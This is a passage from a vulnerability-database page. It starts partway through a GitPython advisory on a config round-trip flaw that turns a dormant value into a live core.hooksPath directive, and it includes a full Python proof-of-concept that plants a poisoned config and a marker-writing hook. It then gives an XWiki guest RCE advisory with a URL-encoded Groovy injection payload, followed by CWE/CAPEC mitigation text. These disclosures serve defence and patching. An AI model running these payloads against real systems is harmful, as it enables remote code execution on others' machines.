  "details": "- **CWE:** CWE-88 (Argument Injection) / CWE-94 (Code Injection) \u2014 via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument\n- **Affected component:** `git/config.py` \u2014 `GitConfigParser._read()` (multi-line value decoding, lines 444-541, esp. `string_decode()` at line 460 and its call sites at 519/541) and `GitConfigParser._write()`/`write_section()` (serialization, lines ~694-712, esp. line 708)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\nGitPython added `UNSAFE_CONFIG_CHARS_RE` / `_value_to_string_safe()` / `_assure_config_name_safe()` guards (commits `c417af46`, `1ed1b924`, `a495ccd3`, and PR #2176) to reject a Python string containing a raw `\\r`/`\\n`/NUL byte, or syntax-bearing characters, when it is passed as an **argument** to `set()`, `set_value()`, `add_value()`, or `add_section()`. This closed the four config-injection GHSAs above.\n\nThat guard is applied only on the write-argument surface. It is never consulted for values that entered `GitConfigParser._sections` via `_read()` \u2014 i.e. values that came from parsing an on-disk config file. And `_read()` legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git\u0027s own backslash-continuation syntax), and `string_decode()` (`.decode(\u0027unicode_escape\u0027)`) decodes a literal two-character `\\n` **escape sequence** inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this \u2014 it\u0027s the same syntax real `git` itself uses and accepts.\n\nThe bug is in what happens when that `GitConfigParser` is later **flushed**: `write_section()` (line ~694) calls the *unsafe* `self._value_to_string(v)` \u2014 not `_value_to_string_safe()` \u2014 and \"handles\" any embedded newline in the value with `.replace(\"\\n\", \"\\n\\t\")` (line 708), emitting a bare, unquoted `\u003creal newline\u003e\u003ctab\u003e` in the output file with no re-quoting and no backslash-continuation marker. Real git does **not** treat an indentation-only continuation the way GitPython\u0027s writer assumes \u2014 a value only continues across physical lines when the *previous* line ends in a literal `\\` immediately before the newline. So the moment `write_section()` re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an **independent, new config line** the next time anyone (GitPython or real `git`) parses the file. If an attacker chooses the dormant value\u0027s content to be `\u003canything\u003e\\nhooksPath = \u003cattacker path\u003e`, that second line is parsed as a brand-new `core.hooksPath = \u003cattacker path\u003e` directive \u2014 live, real Git configuration, not a value.\n\n`core.hooksPath` is honored by essentially every hook-firing git operation (`commit`, `checkout`, `merge`, `push`, `rebase`, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation.\n\n## Root cause\n`GitConfigParser`\u0027s injection guard is asymmetric: it hardens every *write-argument* entry point (the fix for the four sibling GHSAs) but never hardens the **read \u2192 corrupt-on-rewrite round trip**. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython\u0027s own broken re-serialization logic (`write_section()` using the unsafe value-to-string path plus a continuation scheme real git doesn\u0027t recognize). The `c417af46` commit message even states its intent explicitly: *\"This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values\"* \u2014 i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten.\n\n## Exploit path\n1. A `.git/config` (or any file merged into it via `[include]`, see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.:\n   ```\n   [core]\n   \tzzz = \"A\\nhooksPath = ../evil-hooks\\\n   \"\n   ```\n   No raw `\\r`, `\\n`, or NUL byte appears on disk \u2014 this is standard git quoting + backslash-continuation. Real `git config --get core.hookspath` returns nothing at this point (inert); `git config --get core.zzz` returns the decoded string `A\\nhooksPath = ../evil-hooks`, identically to GitPython\u0027s own reader.\n2. The host application opens this repo with GitPython (`git.Repo(path)`, `read_only=False` implicitly for a normal `config_writer()` use) and performs **any** single, unrelated, legitimate config write on the same `GitConfigParser` instance \u2014 e.g. `repo.config_writer().set_value(\"user\", \"name\", \"Test User\")`. This is one of the most ordinary operations a GitPython-based tool performs.\n3. `GitConfigParser._write()`/`write_section()` re-serializes every resident value, including the dormant `zzz` entry, using the unsafe path. The file on disk now contains, verbatim:\n   ```\n   [core]\n   \t...\n   \tzzz = A\n   \thooksPath = ../evil-hooks\n   ```\n4. Real `git config --get core.hookspath` now returns `../evil-hooks` \u2014 a key that did not exist before step 2, created purely by GitPython\u0027s own write.\n5. The next hook-firing git operation (e.g. `git commit`) executes `../evil-hooks/pre-commit` (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution.\n\n## Impact\nArbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity `GHSA-mv93-w799-cj2w`/`GHSA-v87r-6q3f-2j67` \"Newline injection... enables RCE via core.hooksPath\" advisories, and requiring **no unsafe caller argument at all** \u2014 only an attacker-influenced config file plus one ordinary, unrelated write.\n\n## Preconditions\n- A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like `\u003canything\u003e\\n\u003cinjected-key\u003e = \u003cinjected-value\u003e`. Realistic delivery:\n  1. **Pre-existing `.git` directory shipped with a repository** \u2014 vendored/template repos, CI workspace/layer caches that preserve `.git`, \"repo\" tarball/zip distributions that include `.git/config`. The poisoned value sits directly in `.git/config`.\n  2. **The documented shared-config `[include]` pattern** (`[include] path = ../\u003crepo-tracked-file\u003e`, pointing at a file inside the working tree) \u2014 `GitConfigParser.read()` merges included files\u0027 sections into the same `_sections` dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim\u0027s own `.git/config` to already reference the include, e.g. via project setup tooling that adds `include.path`).\n  3. **Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write** \u2014 the exact trust-boundary the maintainers already accepted as realistic for `GHSA-v87r-6q3f-2j67` (their writeup cites MLRun\u0027s `project.push()`).\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py:460` (`string_decode`), invoked at `git/config.py:519` and `:541` inside `_read()`\u0027s multi-line handling \u2014 decodes `unicode_escape`, turning a literal `\\n` escape into a real embedded LF.\n- `git/config.py:~694-712` (`_write()`/`write_section()`) \u2014 uses `self._value_to_string(v)` (unsafe variant) and `.replace(\"\\n\", \"\\n\\t\")` with no re-quoting.\n- `c417af46` (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing *read* behavior for multi-line values, per its own commit message.\n- `git log -S\"string_decode\"`, `-S\"write_section\"`, `-S\u0027replace(\"\\n\", \"\\n\\t\")\u0027` on `git/config.py` show these code paths have only ever been touched by non-security formatting/refactor commits (`a5fc1d86`, `b825dc74`, `cb68eef0`, `21ec5299`), never by a security fix.\n- PoC (`gitpython-002-poc.py`, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value \u2192 one unrelated `config_writer()` write \u2192 `core.hookspath` becomes live per real `git config --get` \u2192 a subsequent `git commit` executes the injected hook and writes a benign marker file.\n\n## False-positive check (adversarial re-read)\n- **Is this just a repeat of the four already-fixed config-injection GHSAs?** No \u2014 all four require the *caller* to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by `UNSAFE_CONFIG_CHARS_RE`/`VALID_CONFIG_OPTION_NAME_RE`/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config *file* using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython\u0027s own unguarded re-serialization of a value it already holds. Confirmed via `_known-advisories.json` (26 entries, none withdrawn) \u2014 none describe this read\u2192corrupt-on-rewrite mechanism.\n- **Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a \"normal\" file)?** Yes, confirmed empirically: after the same crafted `.git/config` is rewritten by *real* `git config user.name Test2` (a control test), the multi-line `zzz` entry is preserved byte-for-byte in its original quoted/continuation form \u2014 only GitPython\u0027s writer corrupts it.\n- **Is there a guard elsewhere that would catch the resulting bare `hooksPath = ...` line before it\u0027s trusted?** No \u2014 once on disk, it is indistinguishable from a directive the user set intentionally; `core.hooksPath` is honored unconditionally by git\u0027s hook-invocation machinery.\n- **Does this require an unrealistic precondition?** The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for `GHSA-v87r-6q3f-2j67`.\n- Verdict: no concrete blocker found. **CONFIRMED** \u2014 reproduced independently end-to-end (dormant value in place \u2192 benign unrelated `config_writer()` write \u2192 `core.hookspath` live per real git \u2192 hook fires on `git commit`, marker file written).\n\n## Remediation\nEither (a) make `write_section()`/`_write()` use `_value_to_string_safe()` (or equivalent re-quoting) for **every** resident value, including those that originated from `_read()`, so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach `_sections` at all if the parser is opened in `read_only=False` mode, or (c) canonicalize output using git\u0027s own `git config --file \u003cpath\u003e --replace-all` semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of `_value_to_string_safe()` already used on the setter path.\n\n## Confidence\nHigh. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value \u2192 benign unrelated write \u2192 live `core.hookspath` \u2192 hook execution with a benign marker) reproduced twice, independently, against the current HEAD.\n\n\n## Proof-of-Concept source (`gitpython-002-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value\n(standard quoted + backslash-continuation syntax, containing an escaped \"\\\\n\"\nthat decodes to a real embedded newline in memory) is corrupted into a NEW,\nlive config key the moment GitConfigParser re-serializes it during any\nunrelated write. If the smuggled second \"line\" looks like\n\"hooksPath = \u003cattacker path\u003e\", it becomes a real, active core.hooksPath after\none unrelated GitPython config write, and fires attacker code on the next\nhook-triggering git operation (e.g. `git commit`).\n\nThis is CWE-88/CWE-94 style argument/config injection, but via the READ path\n(a config file GitPython parses and later rewrites), not via a Python kwarg\nargument -- distinct from the already-fixed GHSA-mv93-w799-cj2w /\nGHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all\nguard the setter-argument surface only.\n\nRun:\n  PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-002-poc.py \u003cworkdir\u003e\n\nBenign: only writes/reads inside \u003cworkdir\u003e. The \"malicious\" hook just writes a\nmarker file; no destructive/exfiltrating payload. Exits non-zero and prints\n\"NOT VULNERABLE\" if the corruption / hook does not fire.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n    workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-002-poc\"\n    repo_dir = os.path.join(workdir, \"repo\")\n    hooks_dir = os.path.join(workdir, \"evil-hooks\")\n    marker = os.path.join(workdir, \"PWNED_MARKER.txt\")\n\n    for p in (repo_dir, hooks_dir):\n        os.makedirs(p, exist_ok=True)\n    if os.path.exists(marker):\n        os.remove(marker)\n\n    subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", repo_dir], check=True)\n    subprocess.run([\"git\", \"-C\", repo_dir, \"config\", \"user.email\", \"test@example.com\"], check=True)\n    subprocess.run([\"git\", \"-C\", repo_dir, \"config\", \"user.name\", \"Test\"], check=True)\n\n    # Rewrite .git/config with a dormant, 100%-valid multi-line quoted value\n    # inside [core] (before any other section). No raw CR/LF/NUL byte is\n    # written to disk here -- this is standard git config quoting +\n    # backslash-line-continuation, decoded by both real git and GitConfigParser\n    # into the Python string \u0027A\\nhooksPath = ../evil-hooks\u0027.\n    cfg_path = os.path.join(repo_dir, \".git\", \"config\")\n    with open(cfg_path) as f:\n        original = f.read()\n    poisoned_entry = \u0027\\tzzz = \"A\\\\nhooksPath = ../evil-hooks\\\\\\n\"\\n\u0027\n    # Insert right after the [core] header line so it lives in the same section.\n    new_config = original.replace(\"[core]\\n\", \"[core]\\n\" + poisoned_entry, 1)\n    with open(cfg_path, \"w\") as f:\n        f.write(new_config)\n\n    # Confirm it\u0027s inert per real git before touching GitPython.\n    pre = subprocess.run(\n        [\"git\", \"-C\", repo_dir, \"config\", \"--get\", \"core.hookspath\"],\n        capture_output=True, text=True,\n    )\n    if pre.returncode == 0:\n        print(\"SETUP ERROR: core.hookspath already set before GitPython touched anything\")\n        sys.exit(2)\n\n    # Malicious hook: benign marker only.\n    hook_path = os.path.join(hooks_dir, \"pre-commit\")\n    with open(hook_path, \"w\") as f:\n        f.write(\u0027#!/bin/sh\\necho \"PWNED-VIA-GITPYTHON-CONFIG-INJECTION\" \u003e \"%s\"\\nexit 0\\n\u0027 % marker)\n    os.chmod(hook_path, 0o755)\n\n    import git  # gitpython under test\n\n    repo = git.Repo(repo_dir)\n    before = repo.config_reader().get_value(\"core\", \"zzz\")\n    print(\"core.zzz before any GitPython write =\", repr(before))\n\n    # ONE totally unrelated, benign write -- this is the only \"attacker-adjacent\"\n    # action required, and it is something virtually every GitPython consumer\n    # does routinely (setting an option, adding a remote, updating a branch\u0027s\n    # tracking config, ...).\n    with repo.config_writer() as cw:\n        cw.set_value(\"user\", \"name\", \"Test User\")\n\n    post = subprocess.run(\n        [\"git\", \"-C\", repo_dir, \"config\", \"--get\", \"core.hookspath\"],\n        capture_output=True, text=True,\n    )\n    if post.returncode != 0:\n        print(\"NOT VULNERABLE: core.hookspath still absent after the unrelated write\")\n        sys.exit(1)\n\n    injected_path = post.stdout.strip()\n    print(\"core.hookspath is now LIVE after one unrelated write:\", injected_path)\n\n    # Trigger the hook with a normal commit to prove it fires.\n    with open(os.path.join(repo_dir, \"file2.txt\"), \"w\") as f:\n        f.write(\"change\\n\")\n    subprocess.run([\"git\", \"-C\", repo_dir, \"add\", \"file2.txt\"], check=True)\n    subprocess.run(\n        [\"git\", \"-C\", repo_dir, \"-c\", \"user.email=t@example.com\", \"-c\", \"user.name=T\",\n         \"commit\", \"-q\", \"-m\", \"trigger hook\"],\n        check=True,\n    )\n\n    if os.path.isfile(marker):\n        with open(marker) as f:\n            content = f.read().strip()\n        print(\"VULNERABLE: hook fired, marker content =\", content)\n        sys.exit(0)\n    else:\n        print(\"NOT VULNERABLE: hook did not fire\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n\n```",
  "id": "GHSA-284h-m62q-gf8w",
  "modified": "2026-09-08T18:39:40Z",
  "published": "2026-09-08T18:39:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78676"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gitpython-developers/GitPython"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3786.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE"
}

GHSA-2858-8CFX-69M9

Vulnerability from github – Published: 2024-04-10 17:12 – Updated: 2025-09-26 16:30
VLAI
Summary
XWiki Platform: Remote code execution as guest via DatabaseSearch
Details

Impact

XWiki's database search allows remote code execution through the search text. This allows remote code execution for any visitor of a public wiki or user of a closed wiki as the database search is by default accessible for all users. This impacts the confidentiality, integrity and availability of the whole XWiki installation.

To reproduce on an instance, without being logged in, go to <hostname>/xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%22%20%2B%20%22%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. If the title of the RSS channel contains Hello from search text:42, the instance is vulnerable.

Patches

This vulnerability has been patched in XWiki 14.10.20, 15.5.4 and 15.10RC1.

Workarounds

It is possible to manually apply this patch to the page Main.DatabaseSearch. Alternatively, unless database search is explicitly used by users, this page can be deleted as this is not the default search interface of XWiki.

References

  • https://jira.xwiki.org/browse/XWIKI-21472
  • https://github.com/xwiki/xwiki-platform/commit/95bdd6cc6298acdf7f8f21298d40eeb8390a8565
Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
10.0 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-search-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4-milestone-1"
            },
            {
              "fixed": "14.10.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-search-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0-rc-1"
            },
            {
              "fixed": "15.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-search-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.6-rc-1"
            },
            {
              "fixed": "15.10-rc-1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-31982"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-10T17:12:47Z",
    "nvd_published_at": "2024-04-10T20:15:08Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nXWiki\u0027s database search allows remote code execution through the search text. This allows remote code execution for any visitor of a public wiki or user of a closed wiki as the database search is by default accessible for all users. This impacts the confidentiality, integrity and availability of the whole XWiki installation.\n\nTo reproduce on an instance, without being logged in, go to `\u003chostname\u003e/xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain\u0026text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%22%20%2B%20%22%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20`. If the title of the RSS channel contains `Hello from search text:42`, the instance is vulnerable.\n\n### Patches\nThis vulnerability has been patched in XWiki 14.10.20, 15.5.4 and 15.10RC1.\n\n### Workarounds\nIt is possible to manually apply [this patch](https://github.com/xwiki/xwiki-platform/commit/95bdd6cc6298acdf7f8f21298d40eeb8390a8565#diff-ef3314b8bb489e5368618ea1940c59098b18ec2246cc65fe337ae636de87e404) to the page `Main.DatabaseSearch`. Alternatively, unless database search is explicitly used by users, this page can be deleted as this is not the default search interface of XWiki.\n\n### References\n* https://jira.xwiki.org/browse/XWIKI-21472\n* https://github.com/xwiki/xwiki-platform/commit/95bdd6cc6298acdf7f8f21298d40eeb8390a8565",
  "id": "GHSA-2858-8cfx-69m9",
  "modified": "2025-09-26T16:30:44Z",
  "published": "2024-04-10T17:12:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-2858-8cfx-69m9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31982"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/3c9e4bb04286de94ad24854026a09fa967538e31"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/459e968be8740c8abc2a168196ce21e5ba93cfb8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/95bdd6cc6298acdf7f8f21298d40eeb8390a8565"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-platform"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-21472"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/cve-2024-31982-detect-xwiki-vulnerability"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/cve-2024-31982-xwiki-mitigation-vulnerability"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/xwiki-rce-cve-2024-31982"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "XWiki Platform: Remote code execution as guest via DatabaseSearch"
}
Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

← Back to the CWE list